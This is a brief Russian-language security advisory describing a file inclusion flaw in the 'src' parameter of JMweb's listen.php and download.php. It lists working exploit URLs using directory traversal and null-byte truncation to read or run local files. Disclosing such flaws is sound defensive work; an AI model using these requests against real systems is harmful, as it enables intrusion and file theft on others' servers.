Программа: JMweb

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в параметре «src» сценариями listen.php и download.php. Удаленный
пользователь может выполнить произвольный PHP сценарий на целевой системе с
привилегиями Web сервера.

Эксплоит:

http://[target]/[path]/listen.php?src=[Local File]%00

http://127.0.0.1/path/listen.php?src=../../../../autoexec.bat%00

http://[target]/[path]/download.php?src=[Local File]%00

http://127.0.0.1/path/download.php?src=../../../../autoexec.bat%00



Оставить мнение